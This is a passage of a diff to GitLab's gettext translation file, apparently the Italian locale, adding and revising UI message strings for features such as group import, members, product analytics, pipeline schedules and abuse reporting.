msgid "GroupsNew|Import groups from another instance of GitLab"
msgstr ""
+msgid "GroupsNew|Importing groups by direct transfer is currently disabled."
+msgstr ""
+
msgid "GroupsNew|No import options available"
msgstr ""
@@ -19847,6 +20062,12 @@ msgstr ""
msgid "GroupsNew|Personal access token"
msgstr ""
+msgid "GroupsNew|Please %{admin_link_start}enable it in the Admin settings%{admin_link_end}."
+msgstr ""
+
+msgid "GroupsNew|Please ask your Administrator to enable it in the Admin settings."
+msgstr ""
+
msgid "GroupsNew|Please fill in GitLab source URL."
msgstr ""
@@ -19856,6 +20077,9 @@ msgstr ""
msgid "GroupsNew|Provide credentials for another instance of GitLab to import your groups directly."
msgstr ""
+msgid "GroupsNew|Remember to enable it also on the instance you are migrating from."
+msgstr ""
+
msgid "GroupsNew|This feature is deprecated and replaced by %{docs_link_start}group migration%{docs_link_end}."
msgstr ""
@@ -19973,6 +20197,9 @@ msgstr ""
msgid "HAR file path or URL"
msgstr ""
+msgid "HTML script tag"
+msgstr ""
+
msgid "HTTP Archive (HAR)"
msgstr ""
@@ -20284,6 +20511,12 @@ msgstr ""
msgid "Hierarchy|Planning hierarchy"
msgstr ""
+msgid "Hierarchy|Something went wrong while fetching children."
+msgstr ""
+
+msgid "Hierarchy|Something went wrong while removing a child item."
+msgstr ""
+
msgid "Hierarchy|Take the work items survey"
msgstr ""
@@ -20698,9 +20931,6 @@ msgstr ""
msgid "If no options are selected, only administrators can register runners."
msgstr ""
-msgid "If none of the options work, try contacting a GitLab administrator."
-msgstr ""
-
msgid "If the number of active users exceeds the user limit, you will be charged for the number of %{users_over_license_link} at your next license reconciliation."
msgstr ""
@@ -20722,6 +20952,9 @@ msgstr ""
msgid "If you add %{codeStart}needs%{codeEnd} to jobs in your pipeline you'll be able to view the %{codeStart}needs%{codeEnd} relationships between jobs in this tab as a %{linkStart}Directed Acyclic Graph (DAG)%{linkEnd}."
msgstr ""
+msgid "If you are unable to sign in or recover your password, contact a GitLab administrator."
+msgstr ""
+
msgid "If you did not initiate these sign-in attempts, please reach out to your administrator or enable two-factor authentication (2FA) on your account."
msgstr ""
@@ -20942,12 +21175,24 @@ msgstr ""
msgid "ImportProjects|Blocked import URL: %{message}"
msgstr ""
+msgid "ImportProjects|Cancel import"
+msgstr ""
+
+msgid "ImportProjects|Cancelling project import failed"
+msgstr ""
+
+msgid "ImportProjects|Cancelling project import failed: %{reason}"
+msgstr ""
+
msgid "ImportProjects|Error importing repository %{project_safe_import_url} into %{project_full_path} - %{message}"
msgstr ""
msgid "ImportProjects|Import repositories"
msgstr ""
+msgid "ImportProjects|Imported files will be kept. You can import this repository again later."
+msgstr ""
+
msgid "ImportProjects|Importing the project failed"
msgstr ""
@@ -22006,7 +22251,7 @@ msgstr ""
msgid "Insights|Configure a custom report for insights into your group processes such as amount of issues, bugs, and merge requests per month. %{linkStart}How do I configure an insights report?%{linkEnd}"
msgstr ""
-msgid "Insights|Some items are not visible beacuse the project was filtered out in the insights.yml file (see the projects.only config for more information)."
+msgid "Insights|Some items are not visible beacuse the project was filtered out in the insights.yml file (see the projects.only config in the YAML file or the enabled project features (issues, merge requests) in the project settings)."
msgstr ""
msgid "Insights|This project is filtered out in the insights.yml file (see the projects.only config for more information)."
@@ -22068,9 +22313,18 @@ msgstr ""
msgid "IntegrationEvents|A confidential issue is created, updated, or closed"
msgstr ""
+msgid "IntegrationEvents|A deployment is started or finished"
+msgstr ""
+
msgid "IntegrationEvents|A merge request is created, updated, or merged"
msgstr ""
+msgid "IntegrationEvents|A new, unique alert is recorded"
+msgstr ""
+
+msgid "IntegrationEvents|A new, unique, vulnerability is recorded. (Note: This feature requires an Ultimate plan)"
+msgstr ""
+
msgid "IntegrationEvents|A pipeline status changes"
msgstr ""
@@ -22221,6 +22475,9 @@ msgstr ""
msgid "Integrations|Instance-level integration management"
msgstr ""
+msgid "Integrations|Integration details"
+msgstr ""
+
msgid "Integrations|Issues created in Jira are shown here once you have created the issues in project setup in Jira."
msgstr ""
@@ -23423,6 +23680,9 @@ msgstr ""
msgid "JiraService|Change GitLab version"
msgstr ""
+msgid "JiraService|Continue setup in GitLab"
+msgstr ""
+
msgid "JiraService|Define the type of Jira issue to create from a vulnerability."
msgstr ""
@@ -23471,6 +23731,9 @@ msgstr ""
msgid "JiraService|If different from Web URL."
msgstr ""
+msgid "JiraService|In order to complete the set up, you’ll need to complete a few steps in GitLab."
+msgstr ""
+
msgid "JiraService|Issues created from vulnerabilities in this project will be Jira issues, even if GitLab issues are enabled."
msgstr ""
@@ -23615,9 +23878,6 @@ msgstr ""
msgid "Jobs|All"
msgstr ""
-msgid "Jobs|An error occurred while loading the Failed Jobs tab."
-msgstr ""
-
msgid "Jobs|Are you sure you want to proceed?"
msgstr ""
@@ -23933,9 +24193,6 @@ msgstr ""
msgid "Kubernetes cluster"
msgstr ""
-msgid "Kubernetes cluster creation time exceeds timeout; %{timeout}"
-msgstr ""
-
msgid "Kubernetes cluster integration and resources are being removed."
msgstr ""
@@ -24096,9 +24353,6 @@ msgstr "Ultima Pipeline"
msgid "Last Seen"
msgstr ""
-msgid "Last Sync"
-msgstr ""
-
msgid "Last Used"
msgstr ""
@@ -24231,6 +24485,9 @@ msgstr ""
msgid "Learn More."
msgstr ""
+msgid "Learn about signing commits"
+msgstr ""
+
msgid "Learn about signing commits with SSH keys."
msgstr ""
@@ -24300,9 +24557,6 @@ msgstr ""
msgid "Learn more about shards and replicas in the %{configuration_link_start}Advanced Search configuration%{configuration_link_end} documentation. Changes don't take place until you %{recreated_link_start}recreate%{recreated_link_end} the index."
msgstr ""
-msgid "Learn more about signing commits"
-msgstr ""
-
msgid "Learn more in the"
msgstr "Leggi di più su"
@@ -25056,6 +25310,9 @@ msgstr ""
msgid "Make everyone on your team more productive regardless of their location. GitLab Geo creates read-only mirrors of your GitLab instance so you can reduce the time it takes to clone and fetch large repos."
msgstr ""
+msgid "Make new users' profiles private by default"
+msgstr ""
+
msgid "Make sure you choose a strong, unique password."
msgstr ""
@@ -25071,9 +25328,6 @@ msgstr ""
msgid "Manage %{workspace} labels"
msgstr ""
-msgid "Manage Dashboards"
-msgstr ""
-
msgid "Manage Web IDE features."
msgstr ""
@@ -25173,6 +25427,9 @@ msgstr ""
msgid "Mark to do as done"
msgstr ""
+msgid "Markdown"
+msgstr ""
+
msgid "Markdown Help"
msgstr ""
@@ -25242,9 +25499,6 @@ msgstr ""
msgid "Marked this %{noun} as ready."
msgstr ""
-msgid "Marked this issue as a duplicate of %{duplicate_param}."
-msgstr ""
-
msgid "Marked this issue as related to %{issue_ref}."
msgstr ""
@@ -25257,9 +25511,6 @@ msgstr ""
msgid "Marks this %{noun} as ready."
msgstr ""
-msgid "Marks this issue as a duplicate of %{duplicate_reference}."
-msgstr ""
-
msgid "Marks this issue as related to %{issue_ref}."
msgstr ""
@@ -25599,6 +25850,9 @@ msgstr ""
msgid "MemberRole|can't be changed"
msgstr ""
+msgid "MemberRole|cannot be changed because it is already assigned to a user. Please create a new Member Role instead"
+msgstr ""
+
msgid "MemberRole|must be top-level namespace"
msgstr ""
@@ -25636,6 +25890,9 @@ msgstr[1] ""
msgid "Membership"
msgstr ""
+msgid "Members|%{group} by %{createdBy}"
+msgstr ""
+
msgid "Members|%{time} by %{user}"
msgstr ""
@@ -25645,6 +25902,21 @@ msgstr ""
msgid "Members|2FA"
msgstr ""
+msgid "Members|A group must have at least one owner. To leave this group, assign a new owner."
+msgstr ""
+
+msgid "Members|A group must have at least one owner. To remove the member, assign a new owner."
+msgstr ""
+
+msgid "Members|A personal project's owner cannot be removed."
+msgstr ""
+
+msgid "Members|Access granted"
+msgstr ""
+
+msgid "Members|Activity"
+msgstr ""
+
msgid "Members|An error occurred while trying to enable LDAP override, please try again."
msgstr ""
@@ -25666,10 +25938,10 @@ msgstr ""
msgid "Members|Are you sure you want to remove \"%{groupName}\"?"
msgstr ""
-msgid "Members|Are you sure you want to remove %{usersName} from \"%{source}\"?"
+msgid "Members|Are you sure you want to remove %{userName} from \"%{group}\"?"
msgstr ""
-msgid "Members|Are you sure you want to remove this orphaned member from \"%{source}\"?"
+msgid "Members|Are you sure you want to remove this orphaned member from \"%{group}\"?"
msgstr ""
msgid "Members|Are you sure you want to revoke the invitation for %{inviteEmail} to join \"%{source}\""
@@ -25678,9 +25950,15 @@ msgstr ""
msgid "Members|Are you sure you want to withdraw your access request for \"%{source}\""
msgstr ""
+msgid "Members|Cannot leave \"%{source}\""
+msgstr ""
+
msgid "Members|Direct"
msgstr ""
+msgid "Members|Direct member by %{createdBy}"
+msgstr ""
+
msgid "Members|Disabled"
msgstr ""
@@ -25708,6 +25986,9 @@ msgstr ""
msgid "Members|LDAP override enabled."
msgstr ""
+msgid "Members|Last activity"
+msgstr ""
+
msgid "Members|Leave \"%{source}\""
msgstr ""
@@ -25735,6 +26016,12 @@ msgstr ""
msgid "Members|Search invited"
msgstr ""
+msgid "Members|User created"
+msgstr ""
+
+msgid "Members|You cannot remove yourself from a personal project."
+msgstr ""
+
msgid "Member|Deny access"
msgstr ""
@@ -26020,10 +26307,13 @@ msgstr ""
msgid "MergeRequest|Error loading full diff. Please try again."
msgstr ""
+msgid "MergeRequest|Failed to load the page"
+msgstr ""
+
msgid "MergeRequest|No files found"
msgstr ""
-msgid "MergeRequest|Search (e.g. *.vue) (%{modifier_key}P)"
+msgid "MergeRequest|Search (e.g. *.vue) (%{MODIFIER_KEY}P)"
msgstr ""
msgid "MergeTopics|%{sourceTopic} will be removed"
@@ -26083,6 +26373,9 @@ msgstr ""
msgid "Messages"
msgstr "Messaggi"
+msgid "Metadata"
+msgstr ""
+
msgid "Method"
msgstr ""
@@ -26510,6 +26803,12 @@ msgstr ""
msgid "MilestoneCombobox|Select milestone"
msgstr ""
+msgid "MilestonePage|Copy milestone ID"
+msgstr ""
+
+msgid "MilestonePage|Milestone ID: %{milestone_id}"
+msgstr ""
+
msgid "MilestoneSidebar|Closed:"
msgstr ""
@@ -26906,6 +27205,9 @@ msgstr ""
msgid "Multiple Prometheus integrations are not supported"
msgstr ""
+msgid "Multiple signatures"
+msgstr ""
+
msgid "Multiplier to apply to polling intervals. Decimal values are supported. Defaults to 1."
msgstr ""
@@ -26930,6 +27232,9 @@ msgstr ""
msgid "Name"
msgstr ""
+msgid "Name can contain only letters, digits, emojis, '_', '.', '+', dashes, or spaces"
+msgstr ""
+
msgid "Name can't be blank"
msgstr ""
@@ -26939,6 +27244,9 @@ msgstr ""
msgid "Name is already taken."
msgstr ""
+msgid "Name must start with a letter, digit, emoji, or '_'"
+msgstr ""
+
msgid "Name new label"
msgstr ""
@@ -26962,24 +27270,36 @@ msgid_plural "NamespaceStorageSize|%{namespace_name} contains %{locked_project_c
msgstr[0] ""
msgstr[1] ""
-msgid "NamespaceStorageSize|%{namespace_name} is now read-only. You cannot: %{base_message}"
+msgid "NamespaceStorageSize|%{namespace_name} is now read-only. Projects under this namespace are locked and actions are restricted."
+msgstr ""
+
+msgid "NamespaceStorageSize|If %{namespace_name} exceeds the storage quota, all projects in the namespace will be locked and actions will be restricted."
+msgstr ""
+
+msgid "NamespaceStorageSize|If you reach 100%% storage capacity, you will not be able to: %{repository_limits_description}"
+msgstr ""
+
+msgid "NamespaceStorageSize|Manage your storage usage or, if you are a namespace Owner, purchase additional storage."
msgstr ""
-msgid "NamespaceStorageSize|If you reach 100%% storage capacity, you will not be able to: %{base_message}"
+msgid "NamespaceStorageSize|Please purchase additional storage to unlock your projects over the free %{free_size_limit} project limit. You can't %{repository_limits_description}"
msgstr ""
-msgid "NamespaceStorageSize|Please purchase additional storage to unlock your projects over the free %{free_size_limit} project limit. You can't %{base_message}"
+msgid "NamespaceStorageSize|Which actions are restricted?"
msgstr ""
-msgid "NamespaceStorageSize|You have consumed all of your additional storage, please purchase more to unlock your projects over the free %{free_size_limit} limit. You can't %{base_message}"
+msgid "NamespaceStorageSize|Which actions become restricted?"
msgstr ""
-msgid "NamespaceStorageSize|You have reached %{usage_in_percent} of %{namespace_name}'s storage capacity (%{used_storage} of %{storage_limit})"
+msgid "NamespaceStorageSize|You have consumed all of your additional storage, please purchase more to unlock your projects over the free %{free_size_limit} limit. You can't %{repository_limits_description}"
msgstr ""
msgid "NamespaceStorageSize|You have reached the free storage limit of %{free_size_limit} on one or more projects."
msgstr ""
+msgid "NamespaceStorageSize|You have used %{usage_in_percent} of the storage quota for %{namespace_name} (%{used_storage} of %{storage_limit})"
+msgstr ""
+
msgid "NamespaceStorageSize|push to your repository, create pipelines, create issues or add comments. To reduce storage capacity, delete unused repositories, artifacts, wikis, issues, and pipelines."
msgstr ""
@@ -27073,6 +27393,27 @@ msgstr ""
msgid "NavigationTheme|Red"
msgstr ""
+msgid "Navigation|Context navigation"
+msgstr ""
+
+msgid "Navigation|Recent groups"
+msgstr ""
+
+msgid "Navigation|Recent projects"
+msgstr ""
+
+msgid "Navigation|Switch to..."
+msgstr ""
+
+msgid "Navigation|View all groups"
+msgstr ""
+
+msgid "Navigation|View all projects"
+msgstr ""
+
+msgid "Navigation|Your work"
+msgstr ""
+
msgid "Nav|Help"
msgstr ""
@@ -27201,9 +27542,6 @@ msgstr ""
msgid "New directory"
msgstr "Nuova directory"
-msgid "New discussion"
-msgstr ""
-
msgid "New email address added"
msgstr ""
@@ -27519,9 +27857,6 @@ msgstr ""
msgid "No labels with such name or description"
msgstr ""
-msgid "No license. All rights reserved"
-msgstr ""
-
msgid "No matches found"
msgstr ""
@@ -27698,6 +28033,21 @@ msgstr ""
msgid "Normal text"
msgstr ""
+msgid "NorthstarNavigation|Alpha"
+msgstr ""
+
+msgid "NorthstarNavigation|Could not update the new navigation preference. Please try again later."
+msgstr ""
+
+msgid "NorthstarNavigation|Navigation redesign"
+msgstr ""
+
+msgid "NorthstarNavigation|New navigation"
+msgstr ""
+
+msgid "NorthstarNavigation|Toggle new navigation"
+msgstr ""
+
msgid "Not all browsers support U2F devices. Therefore, we require that you set up a two-factor authentication app first. That way you'll always be able to sign in - even when you're using an unsupported browser."
msgstr ""
@@ -28234,13 +28584,7 @@ msgstr ""
msgid "Number of Elasticsearch shards and replicas per index:"
msgstr ""
-msgid "Number of Git pushes after which %{code_start}git gc%{code_end} is run."
-msgstr ""
-
-msgid "Number of Git pushes after which a full %{code_start}git repack%{code_end} is run."
-msgstr ""
-
-msgid "Number of Git pushes after which an incremental %{code_start}git repack%{code_end} is run."
+msgid "Number of Git pushes after which Gitaly is asked to optimize a repository."
msgstr ""
msgid "Number of LOCs per commit"
@@ -28291,6 +28635,18 @@ msgstr ""
msgid "Observability"
msgstr ""
+msgid "Observability|Dashboards"
+msgstr ""
+
+msgid "Observability|Data sources"
+msgstr ""
+
+msgid "Observability|Explore"
+msgstr ""
+
+msgid "Observability|Manage dashboards"
+msgstr ""
+
msgid "Oct"
msgstr "Ott"
@@ -28718,6 +29074,9 @@ msgstr ""
msgid "One or more of your personal access tokens has expired."
msgstr ""
+msgid "One or more of your personal access tokens have expired."
+msgstr ""
+
msgid "One or more of your personal access tokens will expire in %{days_to_expire} days or less:"
msgstr ""
@@ -28883,6 +29242,9 @@ msgstr ""
msgid "Opstrace endpoint for Error Tracking integration"
msgstr ""
+msgid "Optimize repository period"
+msgstr ""
+
msgid "Optimize your workflow with CI/CD Pipelines"
msgstr ""
@@ -29308,12 +29670,6 @@ msgstr ""
msgid "PackageRegistry|Helm"
msgstr ""
-msgid "PackageRegistry|Help us learn about your registry migration needs"
-msgstr ""
-
-msgid "PackageRegistry|If you are interested in migrating packages from your private registry to the GitLab Package Registry, take our survey and tell us more about your needs."
-msgstr ""
-
msgid "PackageRegistry|If you haven't already done so, you will need to add the below to your %{codeStart}.pypirc%{codeEnd} file."
msgstr ""
@@ -29472,9 +29828,6 @@ msgstr ""
msgid "PackageRegistry|Source project located at %{link}"
msgstr ""
-msgid "PackageRegistry|Take survey"
-msgstr ""
-
msgid "PackageRegistry|Target SHA: %{sha}"
msgstr ""
@@ -29617,12 +29970,6 @@ msgstr ""
msgid "Parent"
msgstr ""
-msgid "Parent epic doesn't exist."
-msgstr ""
-
-msgid "Parent epic is not present."
-msgstr ""
-
msgid "Parsing error for param :embed_json. %{message}"
msgstr ""
@@ -30154,7 +30501,7 @@ msgstr ""
msgid "PipelineEditor|Waiting for CI content to load..."
msgstr ""
-msgid "PipelineScheduleIntervalPattern|Custom (%{linkStart}Cron syntax%{linkEnd})"
+msgid "PipelineScheduleIntervalPattern|Custom (%{linkStart}Learn more.%{linkEnd})"
msgstr ""
msgid "PipelineSchedules|Activated"
@@ -30169,6 +30516,9 @@ msgstr "Tutto"
msgid "PipelineSchedules|Are you sure you want to delete this pipeline schedule?"
msgstr ""
+msgid "PipelineSchedules|Cron timezone"
+msgstr ""
+
msgid "PipelineSchedules|Delete pipeline schedule"
msgstr ""
@@ -30181,6 +30531,9 @@ msgstr ""
msgid "PipelineSchedules|Inactive"
msgstr "Inattiva"
+msgid "PipelineSchedules|Interval Pattern"
+msgstr ""
+
msgid "PipelineSchedules|Last Pipeline"
msgstr ""
@@ -30208,6 +30561,12 @@ msgstr "Fornisci una breve descrizione per questa pipeline"
msgid "PipelineSchedules|Run pipeline schedule"
msgstr ""
+msgid "PipelineSchedules|Save pipeline schedule"
+msgstr ""
+
+msgid "PipelineSchedules|Successfully scheduled a pipeline to run. Go to the %{linkStart}Pipelines page%{linkEnd} for details. "
+msgstr ""
+
msgid "PipelineSchedules|Successfully taken ownership from %{owner}."
msgstr ""
@@ -30226,6 +30585,9 @@ msgstr ""
msgid "PipelineSchedules|There was a problem fetching pipeline schedules."
msgstr ""
+msgid "PipelineSchedules|There was a problem playing the pipeline schedule."
+msgstr ""
+
msgid "PipelineSchedules|There was a problem taking ownership of the pipeline schedule."
msgstr ""
@@ -31180,9 +31542,6 @@ msgstr ""
msgid "Preferences|Choose what content you want to see on a project’s overview page."
msgstr ""
-msgid "Preferences|Choose which Web IDE version you want to use."
-msgstr ""
-
msgid "Preferences|Color for added lines"
msgstr ""
@@ -31240,6 +31599,9 @@ msgstr ""
msgid "Preferences|Must be a number between %{min} and %{max}"
msgstr ""
+msgid "Preferences|Opt out of the Web IDE Beta"
+msgstr ""
+
msgid "Preferences|Preview"
msgstr ""
@@ -31267,7 +31629,10 @@ msgstr ""
msgid "Preferences|Tab width"
msgstr ""
-msgid "Preferences|The legacy Web IDE remains available while the new Web IDE is in Beta."
+msgid "Preferences|The Web IDE Beta is the default Web IDE experience."
+msgstr ""
+
+msgid "Preferences|The Web IDE remains available alongside the Beta."
msgstr ""
msgid "Preferences|This feature is experimental and translations are not yet complete."
@@ -31282,9 +31647,6 @@ msgstr ""
msgid "Preferences|Time preferences"
msgstr ""
-msgid "Preferences|Use legacy Web IDE"
-msgstr ""
-
msgid "Preferences|Use relative times"
msgstr ""
@@ -31396,6 +31758,9 @@ msgstr ""
msgid "Private profile"
msgstr ""
+msgid "Private profile:"
+msgstr ""
+
msgid "Private projects Minutes cost factor"
msgstr ""
@@ -31408,27 +31773,228 @@ msgstr ""
msgid "Proceed"
msgstr ""
-msgid "Product Analytics|Onboarding view"
+msgid "Product Analytics|Add the NPM package to your package.json using your preferred package manager:"
+msgstr ""
+
+msgid "Product Analytics|Add the script to the page and assign the client SDK to window:"
+msgstr ""
+
+msgid "Product Analytics|Analyze your product with Product Analytics"
+msgstr ""
+
+msgid "Product Analytics|For the product analytics dashboard to start showing you some data, you need to add the analytics tracking code to your project."
+msgstr ""
+
+msgid "Product Analytics|Identifies the sender of tracking events"
+msgstr ""
+
+msgid "Product Analytics|Import the new package into your JS code:"
+msgstr ""
+
+msgid "Product Analytics|Instrument your application"
+msgstr ""
+
+msgid "Product Analytics|SDK App ID"
+msgstr ""
+
+msgid "Product Analytics|SDK Host"
+msgstr ""
+
+msgid "Product Analytics|Set up Product Analytics to track how your product is performing. Combine it with your GitLab data to better understand where you can improve your product and development processes."
+msgstr ""
+
+msgid "Product Analytics|Set up product analytics..."
+msgstr ""
+
+msgid "Product Analytics|Steps to add product analytics as a CommonJS module"
+msgstr ""
+
+msgid "Product Analytics|Steps to add product analytics as a HTML script tag"
+msgstr ""
+
+msgid "Product Analytics|Steps to add product analytics as an ESM module"
+msgstr ""
+
+msgid "Product Analytics|The host to send all tracking events to"
+msgstr ""
+
+msgid "Product Analytics|To instrument your application, select one of the options below. After an option has been instrumented and data is being collected, this page will progress to the next step."
msgstr ""
msgid "Product analytics"
msgstr ""
+msgid "ProductAnalytics|Add another dimension"
+msgstr ""
+
msgid "ProductAnalytics|Add to Dashboard"
msgstr ""
+msgid "ProductAnalytics|All clicks compared"
+msgstr ""
+
+msgid "ProductAnalytics|All events compared"
+msgstr ""
+
+msgid "ProductAnalytics|All features"
+msgstr ""
+
+msgid "ProductAnalytics|All pages"
+msgstr ""
+
msgid "ProductAnalytics|An error occured while loading the %{widgetTitle} widget."
msgstr ""
+msgid "ProductAnalytics|An error occurred while fetching data. Refresh the page to try again."
+msgstr ""
+
+msgid "ProductAnalytics|Any Click on elements"
+msgstr ""
+
msgid "ProductAnalytics|Audience"
msgstr ""
+msgid "ProductAnalytics|Browser"
+msgstr ""
+
+msgid "ProductAnalytics|Browser Family"
+msgstr ""
+
+msgid "ProductAnalytics|Choose a chart type on the right"
+msgstr ""
+
+msgid "ProductAnalytics|Choose a measurement to start"
+msgstr ""
+
+msgid "ProductAnalytics|Click Events"
+msgstr ""
+
+msgid "ProductAnalytics|Code"
+msgstr ""
+
+msgid "ProductAnalytics|Compares all events against each other"
+msgstr ""
+
+msgid "ProductAnalytics|Compares click events against each other"
+msgstr ""
+
+msgid "ProductAnalytics|Compares feature usage of all features against each other"
+msgstr ""
+
+msgid "ProductAnalytics|Compares pageviews of all pages against each other"
+msgstr ""
+
+msgid "ProductAnalytics|Dashboards are created by editing the projects dashboard files."
+msgstr ""
+
+msgid "ProductAnalytics|Data"
+msgstr ""
+
+msgid "ProductAnalytics|Data Table"
+msgstr ""
+
+msgid "ProductAnalytics|Dimensions"
+msgstr ""
+
+msgid "ProductAnalytics|Event Type"
+msgstr ""
+
+msgid "ProductAnalytics|Events"
+msgstr ""
+
+msgid "ProductAnalytics|Events grouped by %{granularity}"
+msgstr ""
+
+msgid "ProductAnalytics|Events over time"
+msgstr ""
+
+msgid "ProductAnalytics|Feature Usage"
+msgstr ""
+
+msgid "ProductAnalytics|Feature usage"
+msgstr ""
+
+msgid "ProductAnalytics|Host"
+msgstr ""
+
+msgid "ProductAnalytics|Language"
+msgstr ""
+
+msgid "ProductAnalytics|Line Chart"
+msgstr ""
+
+msgid "ProductAnalytics|Measure All tracked Events"
+msgstr ""
+
+msgid "ProductAnalytics|Measure all or specific Page Views"
+msgstr ""
+
+msgid "ProductAnalytics|Measuring"
+msgstr ""
+
msgid "ProductAnalytics|New Analytics Widget Title"
msgstr ""
+msgid "ProductAnalytics|OS"
+msgstr ""
+
+msgid "ProductAnalytics|OS Version"
+msgstr ""
+
+msgid "ProductAnalytics|On what do you want to get insights?"
+msgstr ""
+
+msgid "ProductAnalytics|Page Language"
+msgstr ""
+
+msgid "ProductAnalytics|Page Path"
+msgstr ""
+
+msgid "ProductAnalytics|Page Title"
+msgstr ""
+
+msgid "ProductAnalytics|Page Views"
+msgstr ""
+
+msgid "ProductAnalytics|Pages"
+msgstr ""
+
+msgid "ProductAnalytics|Product analytics dashboards"
+msgstr ""
+
+msgid "ProductAnalytics|Referer"
+msgstr ""
+
+msgid "ProductAnalytics|Resulting Data"
+msgstr ""
+
msgid "ProductAnalytics|There is no data for this type of chart currently. Please see the Setup tab if you have not configured the product analytics tool already."
msgstr ""
+msgid "ProductAnalytics|Track specific features"
+msgstr ""
+
+msgid "ProductAnalytics|URL"
+msgstr ""
+
+msgid "ProductAnalytics|User activity"
+msgstr ""
+
+msgid "ProductAnalytics|Users"
+msgstr ""
+
+msgid "ProductAnalytics|Viewport"
+msgstr ""
+
+msgid "ProductAnalytics|Visualization Type"
+msgstr ""
+
+msgid "ProductAnalytics|What do you want to measure?"
+msgstr ""
+
+msgid "ProductAnalytics|Widget"
+msgstr ""
+
msgid "Productivity"
msgstr ""
@@ -32083,6 +32649,18 @@ msgstr ""
msgid "ProjectLastActivity|Never"
msgstr "Mai"
+msgid "ProjectList|Explore"
+msgstr ""
+
+msgid "ProjectList|Starred"
+msgstr ""
+
+msgid "ProjectList|Topics"
+msgstr ""
+
+msgid "ProjectList|Yours"
+msgstr ""
+
msgid "ProjectOverview|Fork"
msgstr ""
@@ -32302,6 +32880,9 @@ msgstr ""
msgid "ProjectService|Trigger event when a wiki page is created or updated."
msgstr ""
+msgid "ProjectService|Trigger event when an incident is created."
+msgstr ""
+
msgid "ProjectService|Trigger event when an issue is created, updated, or closed."
msgstr ""
@@ -32377,9 +32958,6 @@ msgstr ""
msgid "ProjectSettings|Configure your infrastructure."
msgstr ""
-msgid "ProjectSettings|Configure your project resources and monitor their health."
-msgstr ""
-
msgid "ProjectSettings|Contact an admin to change this setting."
msgstr ""
@@ -32551,9 +33129,6 @@ msgstr ""
msgid "ProjectSettings|Only signed commits can be pushed to this repository."
msgstr ""
-msgid "ProjectSettings|Operations"
-msgstr ""
-
msgid "ProjectSettings|Override user notification preferences for all project members."
msgstr ""
@@ -32704,10 +33279,10 @@ msgstr ""
msgid "ProjectSettings|Users can copy the repository to a new project."
msgstr ""
-msgid "ProjectSettings|Users can only push commits to this repository if the committer email is one of their own verified emails."
+msgid "ProjectSettings|Users can only push commits to this repository if the commit author name is consistent with their GitLab account name."
msgstr ""
-msgid "ProjectSettings|Users can only push commits to this repository if the committer name is consistent with their git config username."
+msgid "ProjectSettings|Users can only push commits to this repository if the committer email is one of their own verified emails."
msgstr ""
msgid "ProjectSettings|Users can request access"
@@ -32839,6 +33414,9 @@ msgstr ""
msgid "ProjectTemplates|Spring"
msgstr ""
+msgid "ProjectTemplates|TYPO3 Distribution"
+msgstr ""
+
msgid "ProjectTemplates|Tencent Serverless Framework/NextjsSSR"
msgstr ""
@@ -33463,6 +34041,24 @@ msgstr ""
msgid "ProtectedBranch|default"
msgstr ""
+msgid "ProtectedEnvironments|Allowed to deploy"
+msgstr ""
+
+msgid "ProtectedEnvironments|An error occurred while fetching information on the selected approvers."
+msgstr ""
+
+msgid "ProtectedEnvironments|Approval rules"
+msgstr ""
+
+msgid "ProtectedEnvironments|Number of approvals must be between 1 and 5"
+msgstr ""
+
+msgid "ProtectedEnvironments|Set which groups, access levels or users are required to approve."
+msgstr ""
+
+msgid "ProtectedEnvironments|Set which groups, access levels or users that are allowed to deploy to this environment"
+msgstr ""
+
msgid "ProtectedEnvironment|%{environment_name} will be writable for developers. Are you sure?"
msgstr ""
@@ -33475,6 +34071,9 @@ msgstr ""
msgid "ProtectedEnvironment|Allowed to deploy to %{project} / %{environment}"
msgstr ""
+msgid "ProtectedEnvironment|Approvers"
+msgstr ""
+
msgid "ProtectedEnvironment|Environment"
msgstr ""
@@ -33511,6 +34110,9 @@ msgstr ""
msgid "ProtectedEnvironment|Select an environment"
msgstr ""
+msgid "ProtectedEnvironment|Select environment"
+msgstr ""
+
msgid "ProtectedEnvironment|Select groups"
msgstr ""
@@ -34241,6 +34843,9 @@ msgstr ""
msgid "Reload page"
msgstr ""
+msgid "Reload the page to try again."
+msgstr ""
+
msgid "Remediations"
msgstr ""
@@ -34508,9 +35113,6 @@ msgstr ""
msgid "Renew subscription"
msgstr ""
-msgid "Renews"
-msgstr ""
-
msgid "Reopen"
msgstr ""
@@ -34568,9 +35170,6 @@ msgstr ""
msgid "Replaces the clone URL root."
msgstr ""
-msgid "Replication"
-msgstr ""
-
msgid "Reply"
msgstr ""
@@ -34607,6 +35206,33 @@ msgstr ""
msgid "Report your license usage data to GitLab"
msgstr ""
+msgid "ReportAbuse|Something else."
+msgstr ""
+
+msgid "ReportAbuse|They're being offsensive or abusive."
+msgstr ""
+
+msgid "ReportAbuse|They're crypto mining."
+msgstr ""
+
+msgid "ReportAbuse|They're phising."
+msgstr ""
+
+msgid "ReportAbuse|They're posting malware."
+msgstr ""
+
+msgid "ReportAbuse|They're posting personal information or credentials."
+msgstr ""
+
+msgid "ReportAbuse|They're posting spam."
+msgstr ""
+
+msgid "ReportAbuse|They're violating a copyright or trademark."
+msgstr ""
+
+msgid "ReportAbuse|Why are you reporting this user?"
+msgstr ""
+
msgid "Reported %{timeAgo} by %{reportedBy}"
msgstr ""
@@ -35553,7 +36179,7 @@ msgstr ""
msgid "Runners|Executor"
msgstr ""
-msgid "Runners|Existing runners are not affected. To permit runner registration for all groups, enable this setting in the Admin Area in Settings &gt CI/CD."
+msgid "Runners|Existing runners are not affected. To permit runner registration for all groups, enable this setting in the Admin Area in Settings &gt; CI/CD."
msgstr ""
msgid "Runners|Filter projects"
@@ -35926,7 +36552,7 @@ msgstr ""
msgid "Runners|Yes, start deleting stale runners"
msgstr ""
-msgid "Runners|You can set up a specific runner to be used by multiple projects but you cannot make this a shared runner."
+msgid "Runners|You can set up a specific runner to be used by multiple projects but you cannot make this a shared or group runner."
msgstr ""
msgid "Runners|You have used %{quotaUsed} out of %{quotaLimit} of your shared Runners pipeline minutes."
@@ -36133,6 +36759,12 @@ msgstr ""
msgid "ScanExecutionPolicy|A pipeline is run"
msgstr ""
+msgid "ScanExecutionPolicy|Ex, tag-name-1, tag-name-2"
+msgstr ""
+
+msgid "ScanExecutionPolicy|If the field is empty, the runner will be automatically selected"
+msgstr ""
+
msgid "ScanExecutionPolicy|Scanner profile"
msgstr ""
@@ -36157,9 +36789,6 @@ msgstr ""
msgid "ScanExecutionPolicy|Select site profile"
msgstr ""
-msgid "ScanExecutionPolicy|Select tags (if any)"
-msgstr ""
-
